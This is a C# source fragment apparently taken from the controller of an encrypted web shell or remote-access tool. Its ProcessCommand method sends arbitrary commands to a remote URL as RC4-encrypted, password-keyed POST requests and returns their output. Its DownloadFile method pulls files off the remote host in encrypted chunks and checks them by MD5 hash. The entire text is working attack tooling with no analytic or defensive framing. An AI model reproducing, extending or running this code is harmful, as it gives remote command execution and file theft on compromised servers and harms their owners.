void DownloadFile(object o) { string[] args = (string[])o; try { RC4 rc4 = new RC4(ASCIIEncoding.ASCII.GetBytes(url.Password)); WebClient client = new WebClient(); NameValueCollection nvc = new NameValueCollection(); nvc.Add("k", url.Password); nvc.Add("fs", rc4.EncryptAndEncode(ASCIIEncoding.ASCII.GetBytes(args[1]))); nvc.Add("enc", encMethod); int filesize = 0; byte[] fs = FindResponse(client.UploadValues(url.URL, "POST", nvc)); rc4 = new RC4(ASCIIEncoding.ASCII.GetBytes(url.Password)); filesize = int.Parse(ASCIIEncoding.ASCII.GetString(rc4.DecodeAndDecrypt(fs))); rc4 = new RC4(ASCIIEncoding.ASCII.GetBytes(url.Password)); nvc = new NameValueCollection(); nvc.Add("k", url.Password); nvc.Add("fh", rc4.EncryptAndEncode(ASCIIEncoding.ASCII.GetBytes(args[1]))); nvc.Add("enc", encMethod); rc4 = new RC4(ASCIIEncoding.ASCII.GetBytes(url.Password)); string filehash = ASCIIEncoding.ASCII.GetString(rc4.DecodeAndDecrypt(FindResponse(client.UploadValues(url.URL, "POST", nvc)))); if (File.Exists(args[2])) { File.Delete(args[2]); } FileStream files = File.Create(args[2]); MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider(); for (int x = 0; x < filesize; x += 1024) { rc4 = new RC4(ASCIIEncoding.ASCII.GetBytes(url.Password)); nvc = new NameValueCollection(); nvc.Add("k", url.Password); nvc.Add("d", rc4.EncryptAndEncode(ASCIIEncoding.ASCII.GetBytes(args[1]))); nvc.Add("p", x.ToString()); nvc.Add("enc", encMethod); rc4 = new RC4(ASCIIEncoding.ASCII.GetBytes(url.Password)); byte[] readin = rc4.DecodeAndDecrypt(FindResponse(client.UploadValues(url.URL, "POST", nvc))); files.Write(readin, 0, readin.Length); } files.Close(); Stream filestream = new FileStream(args[2], FileMode.Open, FileAccess.Read); byte[] result = md5.ComputeHash(filestream); if (filehash != BitConverter.ToString(result).Replace("-", "").ToLower()) { OnNewStatusEvent(args[1] + " file hashes do not match. " + filehash + " != " + BitConverter.ToString(result).Replace("-", "").ToLower()); return; } OnNewStatusEvent(args[1] + " finished downloading to " + args[2]); } catch (Exception e) { OnNewStatusEvent("Error in downloading file: " + e.Message); } }
public string ProcessCommand(string command) { commands.Add(command); AppendNewCommand(BitConverter.ToString(new MD5CryptoServiceProvider().ComputeHash(ASCIIEncoding.ASCII.GetBytes(url.URL))).Replace("-", ""), command); currentCommandPositon = commands.Count; if (command.StartsWith("download")) { string[] args = command.Split(' '); if (args.Length >= 3) { Thread t = new Thread(new ParameterizedThreadStart(DownloadFile)); t.Start(args); return("File download started."); } else { OnNewStatusEvent("download command failed."); return("download requires at least 2 arguments."); } } else { try { RC4 rc4 = new RC4(ASCIIEncoding.ASCII.GetBytes(url.Password)); WebClient client = new WebClient(); NameValueCollection nvc = new NameValueCollection(); nvc.Add("k", url.Password); nvc.Add("a", rc4.EncryptAndEncode(ASCIIEncoding.ASCII.GetBytes(command))); nvc.Add("enc", encMethod); byte[] response = FindResponse(client.UploadValues(url.URL, "POST", nvc)); rc4 = new RC4(ASCIIEncoding.ASCII.GetBytes(url.Password)); string ret = UTF8Encoding.UTF8.GetString(rc4.DecodeAndDecrypt(response)).Replace("\n", "\r\n"); OnNewStatusEvent("Command returned " + ret.Length + " bytes."); return(ret); } catch (Exception e) { OnNewStatusEvent("Command failed"); return(e.Message); } } }